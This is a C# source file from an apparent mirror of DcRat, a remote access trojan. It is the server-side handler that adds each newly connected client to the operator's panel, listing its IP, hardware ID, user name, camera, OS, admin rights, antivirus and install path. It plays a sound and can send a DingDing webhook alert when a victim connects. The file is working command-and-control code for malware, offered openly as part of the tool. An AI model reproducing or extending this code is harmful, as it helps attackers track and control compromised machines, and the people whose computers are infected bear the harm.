mirror of https://github.com/qwqdanchun/DcRat.git
147 lines
6.4 KiB
C#
147 lines
6.4 KiB
C#
using System;
|
|
using Server.MessagePack;
|
|
using Server.Connection;
|
|
using cGeoIp;
|
|
using System.Drawing;
|
|
using System.Windows.Forms;
|
|
using System.Threading;
|
|
using System.Media;
|
|
using Server.Helper;
|
|
|
|
namespace Server.Handle_Packet
|
|
{
|
|
public class HandleListView
|
|
{
|
|
public void AddToListview(Clients client, MsgPack unpack_msgpack)
|
|
{
|
|
try
|
|
{
|
|
lock (Settings.LockBlocked)
|
|
{
|
|
try
|
|
{
|
|
if (Settings.Blocked.Count > 0)
|
|
{
|
|
if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
|
|
{
|
|
client.Disconnected();
|
|
return;
|
|
}
|
|
else if (Settings.Blocked.Contains(client.Ip))
|
|
{
|
|
client.Disconnected();
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
client.Admin = false;
|
|
if (unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() !="user")
|
|
{
|
|
client.Admin = true;
|
|
}
|
|
|
|
client.LV = new ListViewItem
|
|
{
|
|
Tag = client,
|
|
Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
|
|
};
|
|
string[] ipinf;
|
|
try
|
|
{
|
|
ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
|
|
client.LV.SubItems.Add(ipinf[1]);
|
|
}
|
|
catch
|
|
{
|
|
client.LV.SubItems.Add("Unknown");
|
|
}
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Group").AsString);
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Camera").AsString);
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
|
|
try
|
|
{
|
|
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Install_ed").AsString).ToLocalTime().ToString());
|
|
}
|
|
catch
|
|
{
|
|
try
|
|
{
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Install_ed").AsString);
|
|
}
|
|
catch
|
|
{
|
|
client.LV.SubItems.Add("??");
|
|
}
|
|
}
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
|
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Anti_virus").AsString);
|
|
client.LV.SubItems.Add("0000 MS");
|
|
client.LV.SubItems.Add("...");
|
|
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
|
|
client.LV.ToolTipText += "[Paste_bin] " + unpack_msgpack.ForcePathObject("Paste_bin").AsString;
|
|
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
|
client.LV.UseItemStyleForSubItems = false;
|
|
client.LastPing = DateTime.Now;
|
|
Program.form1.Invoke((MethodInvoker)(() =>
|
|
{
|
|
lock (Settings.LockListviewClients)
|
|
{
|
|
Program.form1.listView1.Items.Add(client.LV);
|
|
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
|
|
Program.form1.lv_act.Width = 500;
|
|
}
|
|
|
|
if (Properties.Settings.Default.Notification == true)
|
|
{
|
|
Program.form1.notifyIcon1.BalloonTipText = $@"Connected
|
|
{client.Ip} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
|
|
Program.form1.notifyIcon1.ShowBalloonTip(100);
|
|
if (Properties.Settings.Default.DingDing == true && Properties.Settings.Default.WebHook != null && Properties.Settings.Default.Secret != null)
|
|
{
|
|
try
|
|
{
|
|
string content = $"Client {client.Ip} connected" + "\n"
|
|
+ "Group:" + unpack_msgpack.ForcePathObject("Group").AsString + "\n"
|
|
+ "User:" + unpack_msgpack.ForcePathObject("User").AsString + "\n"
|
|
+ "OS:" + unpack_msgpack.ForcePathObject("OS").AsString + "\n"
|
|
+ "User:" + unpack_msgpack.ForcePathObject("Admin").AsString;
|
|
DingDing.Send(Properties.Settings.Default.WebHook, Properties.Settings.Default.Secret, content);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
MessageBox.Show(ex.Message);
|
|
}
|
|
}
|
|
}
|
|
|
|
new HandleLogs().Addmsg($"Client {client.Ip} connected", Color.Green);
|
|
TimeZoneInfo local = TimeZoneInfo.Local;
|
|
if (local.Id == "China Standard Time"&& Properties.Settings.Default.Notification == true)
|
|
{
|
|
SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.online);
|
|
sp.Load();
|
|
sp.Play();
|
|
}
|
|
}));
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
public void Received(Clients client)
|
|
{
|
|
try
|
|
{
|
|
lock (Settings.LockListviewClients)
|
|
if (client.LV != null)
|
|
client.LV.ForeColor = Color.Empty;
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
}
|